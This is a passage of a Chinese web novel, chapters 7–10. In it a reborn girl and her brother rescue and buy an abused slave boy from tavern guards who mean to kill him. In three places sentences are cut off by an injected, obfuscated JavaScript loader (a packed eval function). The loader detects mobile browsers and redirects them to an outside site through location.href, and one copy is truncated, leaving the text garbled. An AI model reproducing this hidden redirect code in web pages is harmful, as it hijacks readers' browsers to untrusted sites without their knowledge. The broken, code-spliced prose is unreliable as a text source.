《重生回夫君少年时》 7. 第 7 章 【7】 第二次被乔姝月从家中“绑架”,乔良已经心如止水。 他生无可恋地靠着车厢,眼睛一下一下瞄着身侧的女孩。 盛夏时节,她裹得像颗粽子,还是红皮的。 脑袋圆圆,身子也圆圆,不知道踢一脚能滚几圈。乔良鞋尖没忍住在地上搓了搓,思绪漫无边际地发散。 同车而行的刘妈妈拉开轿窗,往外看了一眼。 开窗的动静将乔良的注意力拉回,他狐疑道:“你们为何非要叫上我?母亲宽宥,没有把昨日的事告诉父亲,再来一回,她对我就不止训斥那么简单了。” 刘妈妈对乔良这种败家子没有什么好感,但因为他对姝月的宠爱仅次于乔母,刘妈妈也愿意对着他多几分耐心与尊重,她微微一笑,安抚道: “悦泉楼那种地方还是要有一位身份尊贵的公子带着才行,您是熟脸,多少有几分薄面,回头真惹出事,那帮粗蠢的奴仆也不敢太嚣张地欺压咱们姑娘。” 乔良:“……” 马车不快不慢地往悦泉楼驶去,乔府中一小厮腿脚利索地跑到了四公子乔誉的房中。 “公子,二公子和月姑娘往东市方向去了。” 东市? 正在看书的少年慢慢拧眉,脸色微沉。夜里的动静他听说了,母亲分明不准她出门,她又想做什么? 乔誉放下手中的兵法,在屋中踱步,忽然想起什么。 “俞升。” “公子有何吩咐?” “昨日傍晚在悦泉楼外看到的人,确定身份了?月儿院里的?” “没错,确是姑娘院里唯一的贴身护卫,叫李成。”唤作俞升的小厮疑惑地嘟囔,“那李护卫偷偷摸摸跟做贼似的,若非公子您当时眼尖认出他,咱们怕是就冲上去把人押送官府了。” “他也跟着出门了?” 俞升答“是”,心里想着,自昨日发现李护卫出现在悦泉楼附近,公子就让他暗中盯着点木兰院的动静。 神机妙算也好,未雨绸缪也罢,他们公子总是聪慧机敏得让人吃惊。 “公子,可有不妥?” 乔誉没吭声,只眉头越来越紧,半晌,眸子微眯。 他果断转身,回屋换了一身外出的衣裳,出来时对俞升道:“备马。” 俞升一愣,“公子要出门?” “去给大哥送信,让他留父亲多说会话,回头我再同他解释。”乔誉快步往外走,“另外派人继续跟着月儿,让他们无论如何务必在午时前归家。若她不肯,就绑回去。” 他几步快走到门前,翻身上马,垂下眸问:“母亲几时去的安济寺?” “约莫一个时辰前。” 那就是还在路上。 “来得及。”乔誉敛眸,“我去寻母亲,能拖一会是一会。” “……” 马车行过主街,不多时拐进小巷子里,慢慢停下。 乔良从打盹中清醒过来,半眯着眼咕哝:“这就到了?” 乔姝月才刚一动,紫棉便隔着轿帘传来声音:“姑娘,情况不太对,李护卫去探查了。” 乔姝月一颗心蓦地提到嗓子眼,她想冲出去,却被刘妈妈按在原地。 “姑娘稍安。”刘妈妈淡然道,而后撩帘走了下去。 乔姝月心急如焚,难耐地在马车中等候。 乔良拿眼睛瞅着她,越瞧越觉得古怪。 他踢了踢小姑娘的鞋,“这悦泉楼里装了你的魂儿吗?昨儿就嚷着来,今儿又这番魂不守舍的模样。” 乔姝月捂着唇咳嗽了几声,脸色有些发白,心中十分不安。 李护卫是认识谢昭凌的,能在此刻引起他注意,必定和谢昭凌有关。难不成是又看到他被人打骂欺凌了? “姑娘,喝点糖水润润喉吧?”玉竹从白瓷茶壶里倒了一杯水,关切道,“可不能再病倒,不然夫人要被气死了。” 确实不能再生病,她忤逆阿娘的命令,擅自出门,已然犯下大错,若她这趟无功而返,那短时间内怕是再也找不到出门的机会。 乔姝月勉强喝了一杯,觉得胸口好像闯进去一只兔子,温水入喉,心跳愈发剧烈无序。 每一时每一刻都无限拉长,令人忐忑难捱。 好半晌,终于听到李护卫回话的声音: 李护卫慌乱道:“那少年被人带走了,好像,好像……” 刘妈妈轻斥道:“莫要吞吞吐吐,快说。” “好像要被人杀了!” 乔姝月瞳孔骤缩,脑海中一直紧绷的那根弦,倏地断了。 ** “没想到这臭小子真敢杀人!把刀拿来,我要给老大报仇!” 荒废的院落中,几名酒楼护卫愤慨激昂。 “一刀杀了岂不便宜他,非得九九八十一道酷刑都给他尝上一遍才解咱们兄弟心头之恨!” “老大绝不能不明不白地就死了,刘管事要压下这事,咱们可不能就算了!” “可这小子好命,叫东家给看上了……”有人迟疑道,“猛哥,你看呢?” 被唤作“猛哥”的正是那日与刀疤男同进同出的小弟。 刀疤男一死,他成了这群人的老大。 他们这群人虽在悦泉楼做事,上头有规矩压着,但人在道上混,不能不讲一个“义”字。 猛哥冷笑了声,仰头灌下一口酒,而后一喷,尽数喷在他手中的屠刀上。他似笑非笑,拎着刀朝前走去。 面前的少年整个人被五花大绑,左右两个手臂都被人死死按着,动弹不得。他目光很冷,两个眼瞳又黑又亮,桀骜不驯,戾气十足。 “咚”地一声—— 大地震了三震。 猛哥挥了下手中的屠刀,拄在地上,“知道吗?老子从前是杀猪的。” 少年面无表情地看着,对方饱含恶意的目光正死死盯着他。 “从东家房里出来后,你怎么又去了老大那?是东家对你说了什么?” 猛哥眼中的嫉妒与怨恨藏都藏不住,他想不明白为什么少年能被东家看在眼中,这分明就是一条还不如他们的狗。 不仅不会有忠心,甚至会在你脆弱的时候狠狠咬上一口。 “东家承诺你什么了是不是?所以你才有胆子去杀了老大?!” 少年不答,慢慢将视线挪走,脑海里浮现起不久前的事。 他把人从睡梦中叫醒,然后好声好气地同那人讲理: “将从我房中带走的东西还回来。” 刀疤男看过那张曾经被人团得皱皱巴巴的画像,他睡眼朦胧,不怀好意地笑道:“那是你啊?画得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213488|139295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不像啊,你有这么俊?” 他语气恶毒,满口污言秽语,“定情信物?是偷偷爬上了哪家千金的床?” 谢昭凌没兴致同他闲聊,只是他不想多生事端,于是耐着性子又重复一遍:“交出来。” 少年目光淡淡的,无波无澜地注视着他。 刀疤男愣了一下,瞬间起了一身鸡皮疙瘩,惊得忙去看他手脚上重新戴起的镣铐,下意识捂住脖子,终于彻底从梦中醒神。 “谁、谁准你来我房间的!” “不给!快滚出去!” “来人啊!来——” 后来的事印象不清了。 谢昭凌只记得画面停在最后一幕。 他随手折了床头花瓶中的枝条,而后利落地深深扎进刀疤男的胸膛里。 心脏被木枝贯穿,血很快晕染了衣裳。 谢昭凌从刀疤男的衣襟里翻出他要找的东西,上头已经染了脏血。 他眉头都没皱一下,揣起画像,最后望了一眼床榻,那人双目瞪得铜铃般大,惊恐与错愕永久地定格在脸上。 “……” “老子问你话呢!你去找老大究竟是要做什么?!” 耳边是愤怒到破音的怒吼声,谢昭凌晃了下神,涣散的瞳光终于又有了聚点。 他转回头,视线轻飘飘地从在场人身上一一掠过。 他当初能从人祭仪式的祭坛上逃脱,甩掉那一村十几名屠户,便不会惧怕眼前这个自称屠夫的人。 他之所以留在这里,是因为他本就无处可去,他好不容易离那个地方远远的。 眼下有人递出橄榄枝,他自然要往上爬。 他喜欢算计和目的都写在眼睛里,毫不遮掩的人。讨厌的,是那些打着庇护和施舍的幌子、却对他虎视眈眈的善人。 譬如捡他回家的养父,就像曾救过他命的巫医,就像逃亡路上给了他一口水、又把他赶回地狱的乡绅。说是救他,实则只为满足一己私欲。 在谢昭凌的世界里,“救”可不是什么好字,那个郑丰南倒是颇对他的胃口。 少年垂着眸子,始终沉默,心中盘算着自己的未来。 猛哥终于耗光了耐心。 他气得满面通红,屠刀一挥,扛在肩上,扭头道:“去,赏这狗儿的一碗饭,吃饱了,再叫他去底下给老大赔罪。” 两个小弟对视一眼,忙去办了。片刻功夫,两人抬着一缸泔水回来。 猛哥后退两步,冷笑,“好歹是被咱们养了这么多天的畜生,就把这些都赏给你了。” 钳制少年的两人也退散几步,换上一个更为膀大腰圆的壮汉。 “回头只需告诉刘管事这小子跑了,他把自己溺死在泔水桶里也是他犯了疯病,和咱们无关。” 一众小弟兴奋地答是,他们本就看不惯这小崽子,更不用说这个他们最瞧不上的人还被大人物看中。 谢昭凌感觉到颈后按上来一只粗糙的大手,他最后看了一眼那壮汉。 狼崽一样狠厉的目光寸寸落下,看得人脊背生凉。 壮汉心里一激灵,按在脖颈上的手猛地发力。 不远处忽然响起一道响亮的声音—— 一道气势恢弘,稚气十足,奶音满满的,女孩子的叫声: “坏蛋!快放开他!!” 8. 第 8 章 【8】 乔家虽是清流之家,但也并非一点根底都没有。 阖府上下养了不少奴仆,几位公子院里伺候的仆从护卫也都个顶个的能打,不是什么酒囊饭袋。 乔姝月出门时,刘妈妈从乔良院中借了十个护卫。 木兰院之所以没有自己的护卫,一是因为乔姝月不常出门,用不到人。二则是幼时乔姝月被一个武卫吓哭,连着做了三天噩梦,还发了高烧。 后来褚氏便将木兰院那几个五大三粗的护卫都撤了,只留下李护卫这么一个瞧着斯文柔弱但轻功不错的守卫。 刘妈妈今日借出来的这十名,是乔父特意安排到乔良身边看管他的,是乔家的精锐。 此刻训练有素的乔府护卫两人守在院门口,剩下的将在场众人团团围住,半包围成圈,唯一的缺口便是乔姝月所站的位置。 小姑娘双手叉腰,气鼓鼓得更像个球了,她气得直发抖,手指着那个正在作恶的壮汉,鼻音浓重,“光天化日,你们还要害人不成?” 约莫是喊得太用力,才刚威胁完人,自己便捂着唇咳嗽不停。 稚嫩的童声叫在场人皆是一愣,悦泉楼的几人面面相觑,看着眼前不知是哪儿突然蹦出来的一群人,气势稍稍弱了几分。 猛哥很快回神,握紧手中的刀,警惕地看过去。他先是看了一眼说话的女童,很快便挪开目光,没将一个小丫头放在心上,目光在众人之间巡视,最终落在最乔良身上。 他语气犹疑:“这位公子瞧着眼熟,不知如何称呼?” 乔良拧着眉,端详对方的脸,却觉得对方陌生得很。 他冷笑一声,“你算什么东西,也敢问小爷的名讳。” “我——” “我什么我?这是你们管事和东家的授意?把人弄到这儿来杀?” 乔良目光后落,看向仍被钳制的少年,他对上对方冷淡敌视的目光,愣了下,那句“你别怕”怎么都说不出口了。 他招架不住少年带刺的目光,有些慌乱地挪开视线,摸了摸鼻子。 猛哥面色几变,他在西京城中混了这么多年,看人的本事还是有的,眼前这位公子哥显然不是寻常身份,高低也是个官宦子弟。出门在外能跟随十数护卫,家中的官位定低不了。 莫说是什么侯门伯府,就是个三品五品的京官,他也惹不起。 只是好不容易才将那小子带出来,如此良机若不给大哥报仇,恐怕就没有下回了。 惹不起,就先打发了吧。 猛哥把刀扔到一旁,换上一副谄媚的笑,拱手作揖,连连告罪: “公子莫怪,实在是这个小奴太磨人。我们教训他这事,上头是知道、默许的。您家仆从多,定知道管教这些下人有多不易。惊扰了贵人,实在对不住,我们这就换地方。” 说着给小弟们使了个眼色。 乔良眉头越拧越紧,此人显然是在敷衍,竟丝毫不曾放弃作恶。人命关天,乔良无法坐视不理。 他刚要开口,忽听耳畔响起一声又急又怒的女声。 “我说了,你别碰他!” 乔良只觉得“嗖”地一下,余光里有什么东西飞过去了。 他惊疑不定地看过去,心跳骤停。 乔姝月脚下卯足了劲儿往后瞪,像个小炮弹,直挺挺地发射出去。 “姑娘——!!” “月儿!!” 乔姝月不顾一切冲到了那壮汉面前,她身高才堪堪到壮汉的腰际,但她毫无惧怕,抬起手臂,用力将壮汉推开。 从猛哥转变态度,对乔良一行人笑脸相迎时,悦泉楼的众护卫就知此时不宜再起冲突。 壮汉其实只是忘记松开自己的手。 壮汉眼睁睁看着不知哪家的小千金朝自己冲过来,俨然一副拼命的架势,壮汉一动不敢动,生怕五大三粗的自己不小心擦掉小千金的头发丝,他就要即刻下去陪老大了。 “我,这,猛哥……”壮汉求助地望过去。 猛哥:“……” 刘妈妈沉着脸,快步走到乔姝月身边,不善的目光剐向众人,她想将乔姝月护在身后,结果才刚伸手,就捞了个空。 小姑娘连半分眼神都没分给别人,把人推开后就转向了少年。 她仰起头,正好对上少年垂下来的目光。 脑子里霎那间一片空白,眼圈一下就红了。 这是她的陛下。 没有玉冠,没有龙袍,没有沉稳从容的气势,没有温柔平静的眉眼。 此刻,少年身上的衣裳破破烂烂的,手臂露在外面,满是伤痕。脸上脏污一片,额角粘着绺碎发,看颜色,似乎是血。 他好瘦,手臂都没有她的小胖胳膊粗。前世于大殿上初遇时,他叫她抬头,那时她见着他,分明是个精壮健康的成年男子。后来无数次亲密接触,也证实他确实孔武有力。 他那时轻描淡写概括了他的少年时期,乔姝月从不知那只字片语里,饱含了如此深刻的刀光血影,苦涩辛酸,直叫人整颗心都痛得发麻。 乔姝月揣着独有的秘密回忆,正为这份真相感到难过,她这副委屈模样落在谢昭凌眼中,心底莫名掀起一阵波澜。 不过很快他的心潮又重归寂静,他没什么情绪地瞥了一眼女孩,便错开视线。 目光不再,可脑海中却深深印下了她的模样。 头上梳着个可爱的团子,眼睛又黑又大,像黑葡萄似得。炎炎夏日,她裹得严实,脸颊红扑扑的,不知是不是热的,整个人像颗染了血的糯米团子,美味得让人很想咬一口尝尝味道。 一看就是被娇养长大的富家千金,不知为何会出现在这腌臜地。 “这位小贵人,他是我们从人牙子那儿买回来的罪奴。罪奴您懂吗?是那种只能在阴沟里躲藏的小鬼,见不得光的,”猛哥放轻了嗓子,说出来的话却沁着淋漓鲜血,“咱们把他买回来,给他吃给他喝,还让他能安安稳稳地住在有顶的房子里,已然是大发慈悲、行善积德了。” “您家里奴婢犯事,当家主母也是要责罚的,不是吗?他这样冥顽不灵的奴隶犯了错,自然是要好好教训一番,宽宥不得。” 猛哥见小姑娘始终用后脑勺对着自己,他转头又看回乔良,诉苦道:“公子啊,您家的妹妹真是菩萨心肠,可这好心容易被坏人利用。就这小子,白眼狼一个,我们老大好心买了他调教他,是花了不少银子费了许多功夫的,结果他不领情,还——” 正当猛哥提起刀疤男的血债,越说越愤恨时,乔姝月终于转回头,打断他的话。 “多少钱?” 猛哥愣了下,“什么?” “依我朝律例,即便是入了奴籍,也有赎身的权利,只要买卖双方达成意见一致即可。” “银钱数目虽不是关键,可想要买卖双方都满意,银钱自然是解决办法之一。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213489|139295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>半大不大的女孩说起话来有理有据,若是忽视她相当稚嫩的声音,猛哥还以为站在自己面前的是哪家姑娘夫人。 “这……” “他若当真犯错,偌大酒楼,没有你们惩戒的地方吗?明明可以杀鸡儆猴,是个给其他人立威的好机会,可你们反而将他带至此处,施以私刑。”小姑娘字字句句条理分明,言辞咄咄逼人,目光更是犀利,“如此避人耳目行事,难道不是欺上瞒下,居心叵测?” 她回忆着前世谢昭凌说话的样子,照猫画虎,自认已经十分有气势,十分凶狠了,可惜她小小的身体终究妨碍她的发挥。 说话时像一只闹脾气的小奶猫,在空中拼命地挥爪子,落在人身上只留两道印,堪堪划破皮肤,何谈去戳人家脊骨。 猫爪子挠在每个人心里,也包括谢昭凌。 少年微垂的睫羽微微颤抖,后背的伤痕忽然又犯了疼。 乔良很快反应过来,清了清嗓子,“就是,今天这闲事我乔二管定了,我看你们这做的也不是什么能见光的勾当。” 他语气高傲,嘲讽道:“说罢,多少钱能买下他。” 乔良看出来小妹对这少年颇为在意,原因他尚且不知,底细也可以稍后再查,只要是小妹提议的、想要的,他都会无条件支持,尽可能满足。 猛哥眼底晦暗一片,他扭过头,看了一眼手底下的小弟们。 今儿这价一旦开了口,就意味着他将放弃为老大的复仇。他今日开价卖了老大一条命,难保明日他步老大后尘。 破败的小院中一时间无比寂静。 半晌,方才去抬泔水的那两人对视一眼,其中一个尖下巴的率先开口:“猛哥,咱们不是说好,是这小子自己跑了吗?” 如一滴水入油锅,顷刻间炸响开来。 一人开口,很快有人附和。 “是啊,他自知有罪不敢待下去,于是冒死也要跑,咱们兄弟一时疏忽没看住叫他跑了,顶多是个失察。” “刘管事暗示咱们不用顾忌,摆明了是不在意他的。” 猛哥眸光一闪,“一切照旧”不就是不在乎么。 人是死了还是跑了,还是被别人买走,有什么分别? 他们这些人大多都是同样的出身,因各种原因被地方官府通缉,逃跑的路上被人牙子拐走,再然后被有钱人买走,成为下等家奴。 他们都是一样的,凭什么东家能深更半夜单独见他,凭什么自己没有这样的际遇?若他不在,东家垂怜的目光是否就降落在自己身上了? 刀疤男的死是前车之鉴,他们平日不少欺负他,万一他被东家重用,日后飞黄腾达,难保他们不是下一个刀下鬼。 猛哥深吸了口气,转回头看向乔良,目光逐渐坚定。 他道:“五十两。” 乔良微怔,缓缓眨了下眼。 多少??五十两?? 他家买一个出身干净身强体壮的男奴才十两,就这么个瘦猴一样的少年竟狮子大开口要五十两?! 他正要发作,忽听乔姝月那边爽利开口,女孩嗓音清脆,大手一挥:“我要了!” 乔良:“……” 乔良慢慢瞪大双眼。 乔良憋得满脸通红。 乔良险些背过气去。 乔姝月一无所察,仰着头,眼神无辜又天真,“就五十两,别反悔哦。” 猛哥和一众小弟:“……” 9. 第 9 章 【9】 五十两,别说是买下刀疤男的命,就是他们所有人加在一起,都绰绰有余。 刚刚这位公子提起他姓乔,这西京城里叫得上名的乔家只那一户,是太子的拥护者,开罪不起。 猛哥到底不敢太贪,他同今日来的其他几名护卫达成一致,“就五十两。” 乔姝月今日出门早就有所准备,她不需要找任何人要钱,不用听任何人的意见。她叫了一声玉竹,让对方把自己的荷包拿过来。 玉竹面色复杂,从怀里将荷包掏了出来。 早起时她们姑娘让她把小金库的压岁钱都清算一遍带上,她那时还以为姑娘看中了什么稀奇玩意,不曾想,竟是要买一个男奴! 玉竹看着主子数钱的动作,肉痛地想,五十两都能买好多梅子果了! 乔姝月蹲在地上,把荷包里的银子一点一点往地上倒,一颗一颗地数,一边数,一边念叨。 乔家那些精壮的护卫们此刻绕到了乔姝月的身边,将她密不透风地保护在里面。 “刘妈妈。”玉竹站过去,听着耳畔五两八两的声音,暗自着急,“劝劝姑娘。” 刘妈妈没说话,紫棉却开口了:“劝不动。” 乔家人很执拗,但凡认定的事,如何都不会改。 刘妈妈叹道:“小事上她由着咱们说道,可眼下你瞧瞧,我从未见过她这般认真。” “可这,这……”玉竹心疼得直哼哼,“这是咱姑娘长这么大辛辛苦苦攒下来的啊,就这么全花了。” 她声音不大,却因为离谢昭凌不远,一字一句都进了他的耳朵。 少年皱了下眉,终于再次将目光投向女孩。 这回他倒是认认真真地盯着她瞧,一瞬不瞬地看着。 他愿意正眼看她,可她此刻被好几个护卫挡着,又看不真切了。 倾家荡产也要买他啊。 粉雕玉琢的小善人。 少年神色不改,脑海里忽然闪过一个画面—— “你当年被人扔在路边,是老子辛辛苦苦把你养大,你小时候生病,老子倾家荡产请来巫医为你看病,现在就要你一点血,你就这么不情愿?!” “十年养育恩,今日都报了吧,刀在这,你自己动手。” 他不动,男人便抬起巴掌朝他头砸下来,他抬手挡住,扑上去狠狠咬住了男人的脖颈。 “……” 谢昭凌没什么表情,漫不经心地收回目光。 这世上从来没有白捡的便宜,包裹着“恩德”的糖果,也不过是沾着甜味的砒霜罢了。 乔良自认是乔家最离经叛道的一个,到今日也不得不对自家小妹刮目相看。 “月儿啊,”乔良一撩袍子,蹲在女孩身边,“咱这钱留着买糖吃不好吗?” “十七,十八……二哥,我不爱吃糖。” 木兰院在场众人纷纷沉默。 乔良呸了一声,“睁眼说瞎话,二哥上月才给你买了一箩筐话梅,说说现在还剩几颗?” 自然是一颗都不剩,最近药喝得勤,糖果消耗得自然也快。 乔姝月心虚地干笑了声,岔开话题,“二哥你让开点,挡着光了。” 乔良气得龇牙咧嘴,他扭回头,想看一眼罪魁祸首,结果一回头对上自家护卫呆滞的目光。 他抬手朝对方打去,“你挡着我光了。” 护卫无辜地往旁边让,露出身后的少年。 许是他们这边动静太大,少年终于再次将视线移过来。 那是一双故事感十足的眼睛。 乔良书读得没其他兄弟多,一时间形容不上来这一刻的感觉,非得说和少年对上目光时的感觉,那就是心口闷闷的,堵得慌,像塞了一团泡水的棉花一样,让人喘不上气。 少年眼睛里一丝光都没有,他的睫毛很长,但也不足以挡住光亮。明明有光投射进去,可他眼睛里好像藏了个无底的深渊,光进去,顷刻间被黑暗吞噬,消失得无影无踪。 眼睛里尽是尖锐与犀利,有着极强的攻击性,像一只蓄势待发的狼,时刻警惕着,时刻预备着下一场猛烈的扑咬。 充满过激情绪的眼睛,却无端给人悲伤又绝望的窒息感。 他绑缚着镣铐,手无寸铁,遍体鳞伤,只是安安静静站在那儿,也能叫那些成年的守卫们严阵以待,不敢轻视。 乔良心思敏感细腻,不由自主露出难过的神情。 谢昭凌莫名其妙地看他一眼,厌恶地偏过头。 装腔作势。 “五十两!”乔姝月松了口气,数钱数得小手黢黑,“竟然还能剩下一点。” 她满意地笑起来,将剩下的银子收进荷包里,抬手把猛哥招来。 “我这儿还写好了交易的契约,这钱交到你手上,咱们就两清了。” “对了,他的身契你得先交出来。” 乔良回神,慌张地按下姝月的手,“二哥这儿有钱,用二哥的,快把你的小金库收起来。” “二哥,我买下他,他就是我的了。”乔姝月认真地说道,“只有我,你明白吗?” 说她霸道也好,占有欲强也好,总之她不放心把他交到别人手里。 乔良微怔,不可思议地道:“你是要他进你的院子?!” 本以为买回去做些粗活、给个活路就是,没想到她竟想把人带在身边! 能进木兰院伺候的,无一不经过层层筛选,整个木兰院这十年里也就只李护卫一个男子。 “不行不行,这如何使得,绝对不可!” 乔姝月眸光黯淡下去,“没关系,这事之后再议。反正,反正我愿意为他花钱。” 乔良:“……” 这话像极了富家公子对花楼头牌一见钟情,哭着闹着也要花钱为人赎身。 他妹妹染上脏东西,神志不清了。 乔家侍卫朝猛哥伸手,猛哥尴尬地笑了声,“小贵人,您说笑了,这罪奴哪有身契啊。” 刘妈妈皱着眉,“你莫不是想反悔?” “哎哟我哪敢啊,这五十两是小的们几辈子都赚不到的钱,我哪会拒绝?实在是……您有所不知,按照常理是该有身契,但这小子情况不同。” “若他真有身契,那咱们也不敢私下就瞒着管事将他卖了,您说是不是?” 猛哥叹了口气,如实交代。 寻常被人牙子贩卖的奴隶,不论男女,都会被逼迫着签下身契,按下手印。只是谢昭凌被人牙子掳去后,没多久就到了刀疤男的手里,都没来得及签契。 “他被转卖时的情况我不知,据说买下他时确实没见过他的身契,后来我们也去证实过,的确没有。” “至于他来到酒楼以后,都是我们老大管着的,同一批买进来的都签了契,到他这儿……” 猛哥轻轻吸了口气,对这段经历难以启齿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她站在原地,定定望着少年。半晌,踌躇着,向前走去。 走上前,迟疑着伸出手。 谢昭凌眸子微眯,下意识往后退了半步。 他做出防御的姿态,设身处地想一想,是理所当然的。 毕竟他受过那么多伤害,早就将机警与防备刻进了骨子里。 可乔姝月还是不可抑制地觉得难过,觉得失落。 前世的谢昭凌对她一眼心动,这是他曾经亲口承认过的事实。 自初遇那刻起,便从未在他那里受过一丝一毫的委屈,他从未防备、疏离地待她。哪知一朝回到幼时,他竟对自己这般排斥…… 乔姝月试探地往前半步,少年继续后退。 她心口恼意渐生,不管不顾地,快步冲上去。她一把抓住少年的衣角,仰起头,望进少年深邃如海的黑眸中。 对视瞬间,她鼻子一酸,热泪盈眶。 方才同恶势力争论不休、有理有据、毫不退让的女孩。 一张嘴,竟终于绷不住哭了出来。 乔良拳头瞬间硬了,冲过去拎起少年衣领,怒目圆睁:“臭小子,你敢吓唬她?!” 谢昭凌:“……” 10. 第 10 章 【10】 谢昭凌活在世上十五年,从未有过此刻的茫然。 放下豪言说买下他的小姑娘,正死死揪着他的衣摆,一声一声地哽咽着。 哭就哭吧,偏偏抓着他不放,好像当真是他做过什么把人给欺负了似得。 可他明明只是退了半步,什么都没来得及做。 乔良才不管那么多,他看到姝月抽抽搭搭哭得伤心,只觉得一腔怒火直往头顶冲。他捏紧拳头,恶狠狠道:“我警告你,敢欺负我妹妹,我送你去吃牢饭!” 乔良到底要年长几岁,从小吃好喝好少动脑,理所当然地比少年高上足足一头。 谢昭凌猝不及防被扯了下,微仰起头,冷冷地盯着面前那张愤怒的脸。 他还未开口,身前忽然挤进来一小家伙。 圆滚滚的小姑娘往两人中间拱了拱,她一只手仍不舍得松开少年身上那块破烂的衣料,另一只手把乔良推远,心向着谁一目了然。 她打着哭嗝,嗓音软糯:“你不许凶他。” 乔良被噎了下,瞪大眼睛,“你别不识好歹!” “好喔。” “?” 乔良气笑了。 好好好,辛辛苦苦宠了十年的妹妹就这么轻而易举地被人拐跑。这还没领回府上就这么护着,真带回去还不知会怎样。 乔姝月收回推人的那只手,掏出帕子,单手擦了擦脸。 她一向很在意自己在谢昭凌面前的仪态,前世就算是病入膏肓,只要她还有力气爬起来,都会好好打扮自己。 虽然陛下曾说她哭起来很是惹人怜惜,但她总记着四哥说自己哭着很丑来着,她坚信陛下是被爱迷花了眼,所以才会那样觉得。 眼下他们头一次见,可不能留下不好的印象。 乔姝月慌忙抬手,下意识想要去扶发簪,结果没摸着簪子,碰到了头上的小发揪。 “……” 她收回手,尴尬地理了理额间碎发,才眨着泛红的两只大眼睛,仰头看向少年。 “你,你……” 她眼巴巴地,半晌,才委屈地憋出来一句:“你瞧我如何?” 谢昭凌:? 他表情空白一瞬。 “罢了。” 乔姝月丧气地垂下头。 她真是昏了头,胡言乱语了。她还小呢,没长开,他不喜欢才正常。 可她并非真的十岁,能有此想法也是正常的吧…… 乔姝月胸腔中涌动着复杂的情绪,低头看着鞋尖,好不容易消化了些心里的酸涩,结果目光在触及到少年腕间那副镣铐时,所有努力尽数化为乌有。 他手腕上印着一圈又一圈的伤痕,有利器的割伤,深深浅浅,也有镣铐形成的磨痕,新的旧的,互相交错。 那些割伤这绝不是一朝一夕造成的,而是经年日久,习以为常。 前世这个位置的伤痕都已经很淡了,瞧不出来历,她问过,他只是轻描淡写,说是在战场上受的伤。 原来压根不是那么回事,他又哄骗了她。 这个时候他没上过战场,伤痕也没完全淡化痕迹,看着骇人极了。 乔姝月心疼至极,她嘴巴扁起,眼圈迅速变红,泪花在眼眶里打转。 谢昭凌眼睁睁看着小姑娘脸色一变再变,忽然想要落荒而逃。 他不懂自己为何会沾上这么个爱哭又娇气的小哭包。 在他的世界里始终充斥着人性中至恶至暗的东西,豺狼环伺,虎视眈眈,他不得不磨尖爪牙,蓄势蛰伏。 在他目之所及的人间是一片墨色,从无亮点。 而在他挥舞利爪,预备拼死进行一次彻底的反抗时,突然不知从哪儿闯进来一只软软嫩嫩的小奶猫。 小猫伸出粉嫩软乎的肉垫,啪嗒一声,按在他那双沾着鲜血、撕扯过野兽喉咙的丑陋的爪上。 少年心底生出一丝烦躁。 而小姑娘忽然朝他伸手。 她指尖微微颤抖着,想要去碰他的手腕。 那里是人轻易碰不得的地方。 少年面色微变,身体本能作出防备,他反手一挥,锁链抖动,哗啦一声,紧接着是清脆地一声—— “啪!!” 他一下将女孩的手拍开。 他拧着眉,垂下眸子,不耐烦地看过去。 “别——”碰我。 他习惯以沉默应对别人的问话,极少开口时也是恶语相向,如锋利的刀刃,凡出鞘必见血。 可此刻撞上小姑娘那双水汪汪的含着震惊的眼睛,他又一个字都说不出来。 更烦了。 两个人就这么沉默相对,乔良一怒未平,一怒又起。 这臭小子竟敢动手!当他是死人吗! 最疼爱的小妹被人欺负,是个哥哥都没法冷静。 他把院子外头的十名精壮护卫一口气全叫了进来,手指不客气地点着谢昭凌,语气不善:“把他给我带回去好好看管。” “别!不行!” 眼见训练有素的护卫将少年团团围住,乔姝月这下吓得彻底哭不出来,但眼泪没法说停就停,冒到一半的泪水悬在下眼睫上,欲落不落。 她微微睁大眼睛,仰头看着少年,一滴晶莹剔透的泪随着动作滚落到脸颊上。 谢昭凌拧着眉别过头。 这个简单的动作如一记重锤,再次狠狠在姝月的心上敲打。 她也终于从那一挥中回神。 他一再排斥、反感自己,她心里堆积的委屈越来越多。 她的陛下从来不会这么对待她。 乔姝月低下头,低语呢喃:“就这么讨厌我吗。” 乔良气笑了,偏过头去,越想越难平,低骂了声。 他怒气冲冲往外走,难得拿出乔二公子的气势:“把人押走。” “二哥!”乔姝月朝乔良扑过去,从后头抱住乔良的腰,“别走,二哥。” 她胳膊短,两只手堪堪抓住乔良的腰侧,她放轻声音:“二哥,他是我买下的,要带走也得是我——” 乔良无情打断:“往府上买奴隶,该先问过母亲的意思,先斩后奏,你想好如何向母亲交代吗?” 即便小姑娘再如何装作无妨,乔良身为亲哥哥,怎能从中听不出委屈? 他回头瞪了一眼少年,又低下头,看着妹妹通红的眼圈,无奈地叹口气。他压低声,提醒道:“我陪你来,是因为我是你二哥,不代表我赞同你的做法。更何况你受了委屈,把他砍了都难消我心头怒。” 